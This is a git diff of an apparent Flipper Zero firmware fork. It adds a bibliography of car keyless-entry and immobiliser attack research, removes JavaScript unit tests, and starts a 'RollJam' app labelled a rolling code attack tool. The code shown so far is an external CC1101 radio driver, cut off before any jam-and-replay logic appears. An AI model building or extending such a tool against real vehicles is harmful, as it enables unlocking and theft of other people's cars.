*EUROCRYPT 2008*
|
||||
*EUROCRYPT 2008 (LNCS vol. 4965, pp. 1–18)*
|
||||
DOI: [10.1007/978-3-540-78967-3_1](https://doi.org/10.1007/978-3-540-78967-3_1)
|
||||
https://www.iacr.org/archive/eurocrypt2008/49650001/49650001.pdf
|
||||
|
||||
- **Algebraic and Slide Attacks on KeeLoq**
|
||||
Nicolas T. Courtois, Gregory V. Bard, David Wagner
|
||||
*FSE 2008 (LNCS vol. 5086, pp. 97–115)*
|
||||
DOI: [10.1007/978-3-540-71039-4_6](https://doi.org/10.1007/978-3-540-71039-4_6)
|
||||
|
||||
- **On the Power of Power Analysis in the Real World: A Complete Break of the KeeLoq Code Hopping Scheme**
|
||||
Thomas Eisenbarth, Timo Kasper, Amir Moradi, Christof Paar, Mahmoud Salmasizadeh, Mohammad T. Manzuri Shalmani
|
||||
*CRYPTO 2008 (LNCS vol. 5157, pp. 203–220)*
|
||||
DOI: [10.1007/978-3-540-85174-5_12](https://doi.org/10.1007/978-3-540-85174-5_12)
|
||||
https://www.iacr.org/archive/crypto2008/51570204/51570204.pdf
|
||||
|
||||
- **Breaking KeeLoq in a Flash: On Extracting Keys at Lightning Speed**
|
||||
*Springer*
|
||||
Markus Kasper, Timo Kasper, Amir Moradi, Christof Paar
|
||||
*AFRICACRYPT 2009 (LNCS vol. 5580, pp. 403–420)*
|
||||
DOI: [10.1007/978-3-642-02384-2_25](https://doi.org/10.1007/978-3-642-02384-2_25)
|
||||
|
||||
### Immobiliser & Transponder Systems
|
||||
### Immobiliser & Transponder Cipher Attacks
|
||||
|
||||
- **Dismantling DST80-based Immobiliser Systems**
|
||||
Lennert Wouters, Jan Van den Herrewegen, Flavio D. Garcia, David Oswald, Benedikt Gierlichs, Bart Preneel
|
||||
*IACR Transactions on Cryptographic Hardware and Embedded Systems (TCHES), 2020, Vol. 2*
|
||||
DOI: [10.13154/tches.v2020.i2.99-127](https://doi.org/10.13154/tches.v2020.i2.99-127)
|
||||
- **Gone in 360 Seconds: Hijacking with Hitag2**
|
||||
Roel Verdult, Flavio D. Garcia, Josep Balasch
|
||||
*21st USENIX Security Symposium (USENIX Security '12), pp. 237–252*
|
||||
DOI: [10.5555/2362793.2362830](https://doi.org/10.5555/2362793.2362830)
|
||||
https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final95.pdf
|
||||
|
||||
- **Dismantling Megamos Crypto: Wirelessly Lockpicking a Vehicle Immobilizer**
|
||||
Roel Verdult, Flavio D. Garcia, Baris Ege
|
||||
*Supplement to 22nd USENIX Security Symposium (USENIX Security '13/15), pp. 703–718*
|
||||
https://www.usenix.org/sites/default/files/sec15_supplement.pdf
|
||||
|
||||
- **Dismantling the AUT64 Automotive Cipher**
|
||||
Christopher Hicks, Flavio D. Garcia, David Oswald
|
||||
*IACR Transactions on Cryptographic Hardware and Embedded Systems (TCHES), 2018, Vol. 2018(2), pp. 46–69*
|
||||
DOI: [10.13154/tches.v2018.i2.46-69](https://doi.org/10.13154/tches.v2018.i2.46-69)
|
||||
|
||||
### RFID & Protocol Analysis Tooling
|
||||
|
||||
@@ -250,6 +299,11 @@ The following academic publications have been invaluable to the development and
|
||||
|
||||
### Relay & Replay Attacks
|
||||
|
||||
- **Relay Attacks on Passive Keyless Entry and Start Systems in Modern Cars**
|
||||
Aurélien Francillon, Boris Danev, Srdjan Čapkun
|
||||
*NDSS 2011*
|
||||
https://www.ndss-symposium.org/ndss2011/relay-attacks-on-passive-keyless-entry-and-start-systems-in-modern-cars/
|
||||
|
||||
- **Implementing and Testing RollJam on Software-Defined Radios**
|
||||
*Università di Bologna (UNIBO), CRIS*
|
||||
https://cris.unibo.it/handle/11585/999874
|
||||
@@ -260,13 +314,14 @@ The following academic publications have been invaluable to the development and
|
||||
|
||||
- **RollBack: A New Time-Agnostic Replay Attack Against the Automotive Remote Keyless Entry Systems**
|
||||
Levente Csikor, Hoon Wei Lim, Jun Wen Wong, Soundarya Ramesh, Rohini Poolat Parameswarath, Mun Choon Chan
|
||||
*ACM*
|
||||
*Black Hat USA 2022; ACM Transactions on Cyber-Physical Systems, 2024*
|
||||
DOI: [10.1145/3627827](https://doi.org/10.1145/3627827)
|
||||
https://i.blackhat.com/USA-22/Thursday/US-22-Csikor-Rollback-A-New-Time-Agnostic-Replay-wp.pdf
|
||||
|
||||
- **Relay Attacks on Passive Keyless Entry and Start Systems in Modern Cars**
|
||||
Aurelien Francillon, Boris Danev, Srdjan Capkun
|
||||
*NDSS 2011*
|
||||
https://www.ndss-symposium.org/ndss2011/relay-attacks-on-passive-keyless-entry-and-start-systems-in-modern-cars/
|
||||
- **Rolling-PWN Attack (Honda RKE Vulnerability)**
|
||||
Kevin2600 (Haoqi Shan), Wesley Li — Star-V Lab
|
||||
*Independent disclosure, 2022 (CVE-2021-46145)*
|
||||
https://rollingpwn.github.io/rolling-pwn/
|
||||
|
||||
---
|
||||
|
||||
@@ -296,3 +351,36 @@ THIS SOFTWARE IS PROVIDED **"AS IS,"** WITHOUT ANY WARRANTIES OF ANY KIND, EXPRE
|
||||
IN NO EVENT SHALL THE AUTHORS, COPYRIGHT HOLDERS, OR CONTRIBUTORS BE LIABLE FOR ANY CLAIM, DAMAGES, OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT, OR OTHERWISE, ARISING FROM, OUT OF, OR IN CONNECTION WITH THE SOFTWARE OR ITS USE.
|
||||
|
||||
**ALL RISKS FROM THE USE OR PERFORMANCE OF THIS SOFTWARE REMAIN WITH THE USER.**
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Special thanks to everyone who contributes to this project:
|
||||
|
||||
## Contributors (GitHub)
|
||||
|
||||
<a href="https://github.com/d4c1-labs/Flipper-ARF/graphs/contributors">
|
||||
<img src="https://contrib.rocks/image?repo=d4c1-labs/Flipper-ARF"/>
|
||||
</a>
|
||||
|
||||
## Special Thanks
|
||||
|
||||
<table align="center">
|
||||
<tr>
|
||||
<td align="center">
|
||||
<a href="https://github.com/whatthefxck">
|
||||
<img src="https://avatars.githubusercontent.com/whatthefxck?s=80" width="80" height="80" alt="whatthefxck"/>
|
||||
</a>
|
||||
</td>
|
||||
<td align="center">
|
||||
<a href="https://github.com/zero-mega">
|
||||
<img src="https://avatars.githubusercontent.com/zero-mega?s=80" width="80" height="80" alt="zero-mega"/>
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<p align="center">
|
||||
Special thanks to everyone who contributed code, testing, reversing,
|
||||
research, ideas, captures and documentation.
|
||||
</p>
|
||||
|
||||
@@ -222,13 +222,6 @@ App(
|
||||
requires=["unit_tests"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="test_js",
|
||||
sources=["tests/common/*.c", "tests/js/*.c"],
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="get_api",
|
||||
requires=["unit_tests", "js_app"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="test_strint",
|
||||
|
||||
@@ -1,395 +0,0 @@
|
||||
#include "../test.h" // IWYU pragma: keep
|
||||
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include <furi_hal_random.h>
|
||||
|
||||
#include <storage/storage.h>
|
||||
#include <applications/system/js_app/js_thread.h>
|
||||
#include <applications/system/js_app/js_value.h>
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#define TAG "JsUnitTests"
|
||||
|
||||
#define JS_SCRIPT_PATH(name) EXT_PATH("unit_tests/js/" name ".js")
|
||||
|
||||
typedef enum {
|
||||
JsTestsFinished = 1,
|
||||
JsTestsError = 2,
|
||||
} JsTestFlag;
|
||||
|
||||
typedef struct {
|
||||
FuriEventFlag* event_flags;
|
||||
FuriString* error_string;
|
||||
} JsTestCallbackContext;
|
||||
|
||||
static void js_test_callback(JsThreadEvent event, const char* msg, void* param) {
|
||||
JsTestCallbackContext* context = param;
|
||||
if(event == JsThreadEventPrint) {
|
||||
FURI_LOG_I("js_test", "%s", msg);
|
||||
} else if(event == JsThreadEventError || event == JsThreadEventErrorTrace) {
|
||||
context->error_string = furi_string_alloc_set_str(msg);
|
||||
furi_event_flag_set(context->event_flags, JsTestsFinished | JsTestsError);
|
||||
} else if(event == JsThreadEventDone) {
|
||||
furi_event_flag_set(context->event_flags, JsTestsFinished);
|
||||
}
|
||||
}
|
||||
|
||||
static void js_test_run(const char* script_path) {
|
||||
JsTestCallbackContext* context = malloc(sizeof(JsTestCallbackContext));
|
||||
context->event_flags = furi_event_flag_alloc();
|
||||
|
||||
JsThread* thread = js_thread_run(script_path, js_test_callback, context);
|
||||
uint32_t flags = furi_event_flag_wait(
|
||||
context->event_flags, JsTestsFinished, FuriFlagWaitAny, FuriWaitForever);
|
||||
if(flags & FuriFlagError) {
|
||||
// getting the flags themselves should not fail
|
||||
furi_crash();
|
||||
}
|
||||
|
||||
FuriString* error_string = context->error_string;
|
||||
|
||||
js_thread_stop(thread);
|
||||
furi_event_flag_free(context->event_flags);
|
||||
free(context);
|
||||
|
||||
if(flags & JsTestsError) {
|
||||
// memory leak: not freeing the FuriString if the tests fail,
|
||||
// because mu_fail executes a return
|
||||
//
|
||||
// who cares tho?
|
||||
mu_fail(furi_string_get_cstr(error_string));
|
||||
}
|
||||
}
|
||||
|
||||
MU_TEST(js_test_basic) {
|
||||
js_test_run(JS_SCRIPT_PATH("basic"));
|
||||
}
|
||||
MU_TEST(js_test_math) {
|
||||
js_test_run(JS_SCRIPT_PATH("math"));
|
||||
}
|
||||
MU_TEST(js_test_event_loop) {
|
||||
js_test_run(JS_SCRIPT_PATH("event_loop"));
|
||||
}
|
||||
MU_TEST(js_test_storage) {
|
||||
js_test_run(JS_SCRIPT_PATH("storage"));
|
||||
}
|
||||
|
||||
static void js_value_test_compatibility_matrix(struct mjs* mjs) {
|
||||
static const JsValueType types[] = {
|
||||
JsValueTypeAny,
|
||||
JsValueTypeAnyArray,
|
||||
JsValueTypeAnyObject,
|
||||
JsValueTypeFunction,
|
||||
JsValueTypeRawPointer,
|
||||
JsValueTypeInt32,
|
||||
JsValueTypeDouble,
|
||||
JsValueTypeString,
|
||||
JsValueTypeBool,
|
||||
};
|
||||
|
||||
mjs_val_t values[] = {
|
||||
mjs_mk_undefined(),
|
||||
mjs_mk_foreign(mjs, (void*)0xDEADBEEF),
|
||||
mjs_mk_array(mjs),
|
||||
mjs_mk_object(mjs),
|
||||
mjs_mk_number(mjs, 123.456),
|
||||
mjs_mk_string(mjs, "test", ~0, false),
|
||||
mjs_mk_boolean(mjs, true),
|
||||
};
|
||||
|
||||
// for proper matrix formatting and better readability
|
||||
#define YES true
|
||||
#define NO_ false
|
||||
static const bool success_matrix[COUNT_OF(types)][COUNT_OF(values)] = {
|
||||
// types:
|
||||
{YES, YES, YES, YES, YES, YES, YES}, // any
|
||||
{NO_, NO_, YES, NO_, NO_, NO_, NO_}, // array
|
||||
{NO_, NO_, YES, YES, NO_, NO_, NO_}, // obj
|
||||
{NO_, NO_, NO_, NO_, NO_, NO_, NO_}, // fn
|
||||
{NO_, YES, NO_, NO_, NO_, NO_, NO_}, // ptr
|
||||
{NO_, NO_, NO_, NO_, YES, NO_, NO_}, // int32
|
||||
{NO_, NO_, NO_, NO_, YES, NO_, NO_}, // double
|
||||
{NO_, NO_, NO_, NO_, NO_, YES, NO_}, // str
|
||||
{NO_, NO_, NO_, NO_, NO_, NO_, YES}, // bool
|
||||
//
|
||||
//und ptr arr obj num str bool <- values
|
||||
};
|
||||
#undef NO_
|
||||
#undef YES
|
||||
|
||||
for(size_t i = 0; i < COUNT_OF(types); i++) {
|
||||
for(size_t j = 0; j < COUNT_OF(values); j++) {
|
||||
const JsValueDeclaration declaration = {
|
||||
.type = types[i],
|
||||
.n_children = 0,
|
||||
};
|
||||
// we only care about the status, not the result. double has the largest size out of
|
||||
// all the results
|
||||
uint8_t result[sizeof(double)];
|
||||
JsValueParseStatus status;
|
||||
JS_VALUE_PARSE(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&declaration),
|
||||
JsValueParseFlagNone,
|
||||
&status,
|
||||
&values[j],
|
||||
result);
|
||||
if((status == JsValueParseStatusOk) != success_matrix[i][j]) {
|
||||
FURI_LOG_E(TAG, "type %zu, value %zu", i, j);
|
||||
mu_fail("see serial logs");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void js_value_test_literal(struct mjs* mjs) {
|
||||
static const JsValueType types[] = {
|
||||
JsValueTypeAny,
|
||||
JsValueTypeAnyArray,
|
||||
JsValueTypeAnyObject,
|
||||
};
|
||||
|
||||
mjs_val_t values[] = {
|
||||
mjs_mk_undefined(),
|
||||
mjs_mk_array(mjs),
|
||||
mjs_mk_object(mjs),
|
||||
};
|
||||
|
||||
mu_assert_int_eq(COUNT_OF(types), COUNT_OF(values));
|
||||
for(size_t i = 0; i < COUNT_OF(types); i++) {
|
||||
const JsValueDeclaration declaration = {
|
||||
.type = types[i],
|
||||
.n_children = 0,
|
||||
};
|
||||
mjs_val_t result;
|
||||
JsValueParseStatus status;
|
||||
JS_VALUE_PARSE(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&declaration),
|
||||
JsValueParseFlagNone,
|
||||
&status,
|
||||
&values[i],
|
||||
&result);
|
||||
mu_assert_int_eq(JsValueParseStatusOk, status);
|
||||
mu_assert(result == values[i], "wrong result");
|
||||
}
|
||||
}
|
||||
|
||||
static void js_value_test_primitive(
|
||||
struct mjs* mjs,
|
||||
JsValueType type,
|
||||
const void* c_value,
|
||||
size_t c_value_size,
|
||||
mjs_val_t js_val) {
|
||||
const JsValueDeclaration declaration = {
|
||||
.type = type,
|
||||
.n_children = 0,
|
||||
};
|
||||
uint8_t result[c_value_size];
|
||||
JsValueParseStatus status;
|
||||
JS_VALUE_PARSE(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&declaration),
|
||||
JsValueParseFlagNone,
|
||||
&status,
|
||||
&js_val,
|
||||
result);
|
||||
mu_assert_int_eq(JsValueParseStatusOk, status);
|
||||
if(type == JsValueTypeString) {
|
||||
const char* result_str = *(const char**)&result;
|
||||
mu_assert_string_eq(c_value, result_str);
|
||||
} else {
|
||||
mu_assert_mem_eq(c_value, result, c_value_size);
|
||||
}
|
||||
}
|
||||
|
||||
static void js_value_test_primitives(struct mjs* mjs) {
|
||||
int32_t i32 = 123;
|
||||
js_value_test_primitive(mjs, JsValueTypeInt32, &i32, sizeof(i32), mjs_mk_number(mjs, i32));
|
||||
|
||||
double dbl = 123.456;
|
||||
js_value_test_primitive(mjs, JsValueTypeDouble, &dbl, sizeof(dbl), mjs_mk_number(mjs, dbl));
|
||||
|
||||
const char* str = "test";
|
||||
js_value_test_primitive(
|
||||
mjs, JsValueTypeString, str, strlen(str) + 1, mjs_mk_string(mjs, str, ~0, false));
|
||||
|
||||
bool boolean = true;
|
||||
js_value_test_primitive(
|
||||
mjs, JsValueTypeBool, &boolean, sizeof(boolean), mjs_mk_boolean(mjs, boolean));
|
||||
}
|
||||
|
||||
static uint32_t
|
||||
js_value_test_enum(struct mjs* mjs, const JsValueDeclaration* decl, const char* value) {
|
||||
mjs_val_t str = mjs_mk_string(mjs, value, ~0, false);
|
||||
uint32_t result;
|
||||
JsValueParseStatus status;
|
||||
JS_VALUE_PARSE(
|
||||
mjs, JS_VALUE_PARSE_SOURCE_VALUE(decl), JsValueParseFlagNone, &status, &str, &result);
|
||||
if(status != JsValueParseStatusOk) return 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
static void js_value_test_enums(struct mjs* mjs) {
|
||||
static const JsValueEnumVariant enum_1_variants[] = {
|
||||
{"variant 1", 1},
|
||||
{"variant 2", 2},
|
||||
{"variant 3", 3},
|
||||
};
|
||||
static const JsValueDeclaration enum_1 = JS_VALUE_ENUM(uint32_t, enum_1_variants);
|
||||
|
||||
static const JsValueEnumVariant enum_2_variants[] = {
|
||||
{"read", 4},
|
||||
{"write", 8},
|
||||
};
|
||||
static const JsValueDeclaration enum_2 = JS_VALUE_ENUM(uint32_t, enum_2_variants);
|
||||
|
||||
mu_assert_int_eq(1, js_value_test_enum(mjs, &enum_1, "variant 1"));
|
||||
mu_assert_int_eq(2, js_value_test_enum(mjs, &enum_1, "variant 2"));
|
||||
mu_assert_int_eq(3, js_value_test_enum(mjs, &enum_1, "variant 3"));
|
||||
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_1, "not a thing"));
|
||||
|
||||
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "variant 1"));
|
||||
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "variant 2"));
|
||||
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "variant 3"));
|
||||
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "not a thing"));
|
||||
mu_assert_int_eq(4, js_value_test_enum(mjs, &enum_2, "read"));
|
||||
mu_assert_int_eq(8, js_value_test_enum(mjs, &enum_2, "write"));
|
||||
}
|
||||
|
||||
static void js_value_test_object(struct mjs* mjs) {
|
||||
static const JsValueDeclaration int_decl = JS_VALUE_SIMPLE(JsValueTypeInt32);
|
||||
|
||||
static const JsValueDeclaration str_decl = JS_VALUE_SIMPLE(JsValueTypeString);
|
||||
|
||||
static const JsValueEnumVariant enum_variants[] = {
|
||||
{"variant 1", 1},
|
||||
{"variant 2", 2},
|
||||
{"variant 3", 3},
|
||||
};
|
||||
static const JsValueDeclaration enum_decl = JS_VALUE_ENUM(uint32_t, enum_variants);
|
||||
|
||||
static const JsValueObjectField fields[] = {
|
||||
{"int", &int_decl},
|
||||
{"str", &str_decl},
|
||||
{"enum", &enum_decl},
|
||||
};
|
||||
static const JsValueDeclaration object_decl = JS_VALUE_OBJECT(fields);
|
||||
|
||||
mjs_val_t object = mjs_mk_object(mjs);
|
||||
JS_ASSIGN_MULTI(mjs, object) {
|
||||
JS_FIELD("str", mjs_mk_string(mjs, "Helloooo!", ~0, false));
|
||||
JS_FIELD("int", mjs_mk_number(mjs, 123));
|
||||
JS_FIELD("enum", mjs_mk_string(mjs, "variant 2", ~0, false));
|
||||
}
|
||||
|
||||
const char* result_str;
|
||||
int32_t result_int;
|
||||
uint32_t result_enum;
|
||||
JsValueParseStatus status;
|
||||
JS_VALUE_PARSE(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&object_decl),
|
||||
JsValueParseFlagNone,
|
||||
&status,
|
||||
&object,
|
||||
&result_int,
|
||||
&result_str,
|
||||
&result_enum);
|
||||
mu_assert_int_eq(JsValueParseStatusOk, status);
|
||||
mu_assert_string_eq("Helloooo!", result_str);
|
||||
mu_assert_int_eq(123, result_int);
|
||||
mu_assert_int_eq(2, result_enum);
|
||||
}
|
||||
|
||||
static void js_value_test_default(struct mjs* mjs) {
|
||||
static const JsValueDeclaration int_decl =
|
||||
JS_VALUE_SIMPLE_W_DEFAULT(JsValueTypeInt32, int32_val, 123);
|
||||
static const JsValueDeclaration str_decl = JS_VALUE_SIMPLE(JsValueTypeString);
|
||||
|
||||
static const JsValueObjectField fields[] = {
|
||||
{"int", &int_decl},
|
||||
{"str", &str_decl},
|
||||
};
|
||||
static const JsValueDeclaration object_decl = JS_VALUE_OBJECT(fields);
|
||||
|
||||
mjs_val_t object = mjs_mk_object(mjs);
|
||||
JS_ASSIGN_MULTI(mjs, object) {
|
||||
JS_FIELD("str", mjs_mk_string(mjs, "Helloooo!", ~0, false));
|
||||
JS_FIELD("int", mjs_mk_undefined());
|
||||
}
|
||||
|
||||
const char* result_str;
|
||||
int32_t result_int;
|
||||
JsValueParseStatus status;
|
||||
JS_VALUE_PARSE(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&object_decl),
|
||||
JsValueParseFlagNone,
|
||||
&status,
|
||||
&object,
|
||||
&result_int,
|
||||
&result_str);
|
||||
mu_assert_string_eq("Helloooo!", result_str);
|
||||
mu_assert_int_eq(123, result_int);
|
||||
}
|
||||
|
||||
static void js_value_test_args_fn(struct mjs* mjs) {
|
||||
static const JsValueDeclaration arg_list[] = {
|
||||
JS_VALUE_SIMPLE(JsValueTypeInt32),
|
||||
JS_VALUE_SIMPLE(JsValueTypeInt32),
|
||||
JS_VALUE_SIMPLE(JsValueTypeInt32),
|
||||
};
|
||||
static const JsValueArguments args = JS_VALUE_ARGS(arg_list);
|
||||
|
||||
int32_t a, b, c;
|
||||
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &args, &a, &b, &c);
|
||||
|
||||
mu_assert_int_eq(123, a);
|
||||
mu_assert_int_eq(456, b);
|
||||
mu_assert_int_eq(-420, c);
|
||||
}
|
||||
|
||||
static void js_value_test_args(struct mjs* mjs) {
|
||||
mjs_val_t function = MJS_MK_FN(js_value_test_args_fn);
|
||||
|
||||
mjs_val_t result;
|
||||
mjs_val_t args[] = {
|
||||
mjs_mk_number(mjs, 123),
|
||||
mjs_mk_number(mjs, 456),
|
||||
mjs_mk_number(mjs, -420),
|
||||
};
|
||||
mu_assert_int_eq(
|
||||
MJS_OK, mjs_apply(mjs, &result, function, MJS_UNDEFINED, COUNT_OF(args), args));
|
||||
}
|
||||
|
||||
MU_TEST(js_value_test) {
|
||||
struct mjs* mjs = mjs_create(NULL);
|
||||
|
||||
js_value_test_compatibility_matrix(mjs);
|
||||
js_value_test_literal(mjs);
|
||||
js_value_test_primitives(mjs);
|
||||
js_value_test_enums(mjs);
|
||||
js_value_test_object(mjs);
|
||||
js_value_test_default(mjs);
|
||||
js_value_test_args(mjs);
|
||||
|
||||
mjs_destroy(mjs);
|
||||
}
|
||||
|
||||
MU_TEST_SUITE(test_js) {
|
||||
MU_RUN_TEST(js_value_test);
|
||||
MU_RUN_TEST(js_test_basic);
|
||||
MU_RUN_TEST(js_test_math);
|
||||
MU_RUN_TEST(js_test_event_loop);
|
||||
MU_RUN_TEST(js_test_storage);
|
||||
}
|
||||
|
||||
int run_minunit_test_js(void) {
|
||||
MU_RUN_SUITE(test_js);
|
||||
return MU_EXIT_CODE;
|
||||
}
|
||||
|
||||
TEST_API_DEFINE(run_minunit_test_js)
|
||||
@@ -7,8 +7,6 @@
|
||||
|
||||
#include <rpc/rpc_i.h>
|
||||
#include <flipper.pb.h>
|
||||
#include <applications/system/js_app/js_thread.h>
|
||||
#include <applications/system/js_app/js_value.h>
|
||||
|
||||
static constexpr auto unit_tests_api_table = sort(create_array_t<sym_entry>(
|
||||
API_METHOD(resource_manifest_reader_alloc, ResourceManifestReader*, (Storage*)),
|
||||
@@ -34,21 +32,4 @@ static constexpr auto unit_tests_api_table = sort(create_array_t<sym_entry>(
|
||||
xQueueGenericSend,
|
||||
BaseType_t,
|
||||
(QueueHandle_t, const void* const, TickType_t, const BaseType_t)),
|
||||
API_METHOD(
|
||||
js_thread_run,
|
||||
JsThread*,
|
||||
(const char* script_path, JsThreadCallback callback, void* context)),
|
||||
API_METHOD(js_thread_stop, void, (JsThread * worker)),
|
||||
API_METHOD(js_value_buffer_size, size_t, (const JsValueParseDeclaration declaration)),
|
||||
API_METHOD(
|
||||
js_value_parse,
|
||||
JsValueParseStatus,
|
||||
(struct mjs * mjs,
|
||||
const JsValueParseDeclaration declaration,
|
||||
JsValueParseFlag flags,
|
||||
mjs_val_t* buffer,
|
||||
size_t buf_size,
|
||||
mjs_val_t* source,
|
||||
size_t n_c_vals,
|
||||
...)),
|
||||
API_VARIABLE(PB_Main_msg, PB_Main_msg_t)));
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
App(
|
||||
appid="rolljam",
|
||||
name="RollJam",
|
||||
apptype=FlipperAppType.MENUEXTERNAL,
|
||||
entry_point="rolljam_app",
|
||||
stack_size=4 * 1024,
|
||||
fap_category="Sub-GHz",
|
||||
fap_icon="rolljam.png",
|
||||
fap_icon_assets="images",
|
||||
fap_libs=["assets"],
|
||||
fap_description="RollJam rolling code attack tool",
|
||||
fap_author="@user",
|
||||
fap_version="1.0",
|
||||
fap_weburl="",
|
||||
requires=[
|
||||
"gui",
|
||||
"subghz",
|
||||
"notification",
|
||||
"storage",
|
||||
"dialogs",
|
||||
],
|
||||
provides=[],
|
||||
)
|
||||
@@ -0,0 +1,521 @@
|
||||
#include "rolljam_cc1101_ext.h"
|
||||
#include <furi_hal_gpio.h>
|
||||
#include <furi_hal_resources.h>
|
||||
#include <furi_hal_cortex.h>
|
||||
#include <furi_hal_power.h>
|
||||
|
||||
// ============================================================
|
||||
// 5V OTG power
|
||||
// ============================================================
|
||||
|
||||
static bool otg_was_enabled = false;
|
||||
static bool use_flux_capacitor = false;
|
||||
|
||||
void rolljam_ext_set_flux_capacitor(bool enabled) {
|
||||
use_flux_capacitor = enabled;
|
||||
}
|
||||
|
||||
static void rolljam_ext_power_on(void) {
|
||||
otg_was_enabled = furi_hal_power_is_otg_enabled();
|
||||
if(!otg_was_enabled) {
|
||||
uint8_t attempts = 0;
|
||||
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
|
||||
furi_hal_power_enable_otg();
|
||||
furi_delay_ms(10);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void rolljam_ext_power_off(void) {
|
||||
if(!otg_was_enabled) {
|
||||
furi_hal_power_disable_otg();
|
||||
}
|
||||
}
|
||||
|
||||
static const GpioPin* pin_mosi = &gpio_ext_pa7;
|
||||
static const GpioPin* pin_miso = &gpio_ext_pa6;
|
||||
static const GpioPin* pin_cs = &gpio_ext_pa4;
|
||||
static const GpioPin* pin_sck = &gpio_ext_pb3;
|
||||
static const GpioPin* pin_gdo0 = &gpio_ext_pb2;
|
||||
static const GpioPin* pin_amp = &gpio_ext_pc3;
|
||||
|
||||
// ============================================================
|
||||
// CC1101 Registers
|
||||
// ============================================================
|
||||
#define CC_IOCFG2 0x00
|
||||
#define CC_IOCFG0 0x02
|
||||
#define CC_FIFOTHR 0x03
|
||||
#define CC_SYNC1 0x04
|
||||
#define CC_SYNC0 0x05
|
||||
#define CC_PKTLEN 0x06
|
||||
#define CC_PKTCTRL1 0x07
|
||||
#define CC_PKTCTRL0 0x08
|
||||
#define CC_FSCTRL1 0x0B
|
||||
#define CC_FSCTRL0 0x0C
|
||||
#define CC_FREQ2 0x0D
|
||||
#define CC_FREQ1 0x0E
|
||||
#define CC_FREQ0 0x0F
|
||||
#define CC_MDMCFG4 0x10
|
||||
#define CC_MDMCFG3 0x11
|
||||
#define CC_MDMCFG2 0x12
|
||||
#define CC_MDMCFG1 0x13
|
||||
#define CC_MDMCFG0 0x14
|
||||
#define CC_DEVIATN 0x15
|
||||
#define CC_MCSM1 0x17
|
||||
#define CC_MCSM0 0x18
|
||||
#define CC_FOCCFG 0x19
|
||||
#define CC_AGCCTRL2 0x1B
|
||||
#define CC_AGCCTRL1 0x1C
|
||||
#define CC_AGCCTRL0 0x1D
|
||||
#define CC_FREND0 0x22
|
||||
#define CC_FSCAL3 0x23
|
||||
#define CC_FSCAL2 0x24
|
||||
#define CC_FSCAL1 0x25
|
||||
#define CC_FSCAL0 0x26
|
||||
#define CC_TEST2 0x2C
|
||||
#define CC_TEST1 0x2D
|
||||
#define CC_TEST0 0x2E
|
||||
#define CC_PATABLE 0x3E
|
||||
#define CC_TXFIFO 0x3F
|
||||
|
||||
#define CC_PARTNUM 0x30
|
||||
#define CC_VERSION 0x31
|
||||
#define CC_MARCSTATE 0x35
|
||||
#define CC_TXBYTES 0x3A
|
||||
|
||||
#define CC_SRES 0x30
|
||||
#define CC_SCAL 0x33
|
||||
#define CC_STX 0x35
|
||||
#define CC_SIDLE 0x36
|
||||
#define CC_SFTX 0x3B
|
||||
|
||||
#define MARC_IDLE 0x01
|
||||
#define MARC_TX 0x13
|
||||
|
||||
// ============================================================
|
||||
// Band calibration
|
||||
// ============================================================
|
||||
|
||||
typedef struct {
|
||||
uint32_t min_freq;
|
||||
uint32_t max_freq;
|
||||
uint8_t fscal3;
|
||||
uint8_t fscal2;
|
||||
uint8_t fscal1;
|
||||
uint8_t fscal0;
|
||||
} ExtBandCal;
|
||||
|
||||
static const ExtBandCal ext_band_cals[] = {
|
||||
{ 299000000, 348000000, 0xEA, 0x2A, 0x00, 0x1F },
|
||||
{ 386000000, 464000000, 0xE9, 0x2A, 0x00, 0x1F },
|
||||
{ 778000000, 928000000, 0xEA, 0x2A, 0x00, 0x11 },
|
||||
};
|
||||
#define EXT_BAND_CAL_COUNT (sizeof(ext_band_cals) / sizeof(ext_band_cals[0]))
|
||||
|
||||
static const ExtBandCal* ext_get_band_cal(uint32_t freq) {
|
||||
for(size_t i = 0; i < EXT_BAND_CAL_COUNT; i++) {
|
||||
if(freq >= ext_band_cals[i].min_freq && freq <= ext_band_cals[i].max_freq)
|
||||
return &ext_band_cals[i];
|
||||
}
|
||||
return &ext_band_cals[1];
|
||||
}
|
||||
|
||||
static inline void spi_delay(void) {
|
||||
for(int i = 0; i < 16; i++) __NOP();
|
||||
}
|
||||
|
||||
static inline void cs_lo(void) { furi_hal_gpio_write(pin_cs, false); spi_delay(); }
|
||||
static inline void cs_hi(void) { spi_delay(); furi_hal_gpio_write(pin_cs, true); spi_delay(); }
|
||||
|
||||
static bool wait_miso(uint32_t us) {
|
||||
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
|
||||
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
|
||||
uint32_t s = DWT->CYCCNT;
|
||||
uint32_t t = (SystemCoreClock / 1000000) * us;
|
||||
while(furi_hal_gpio_read(pin_miso)) {
|
||||
if((DWT->CYCCNT - s) > t) return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static uint8_t spi_byte(uint8_t tx) {
|
||||
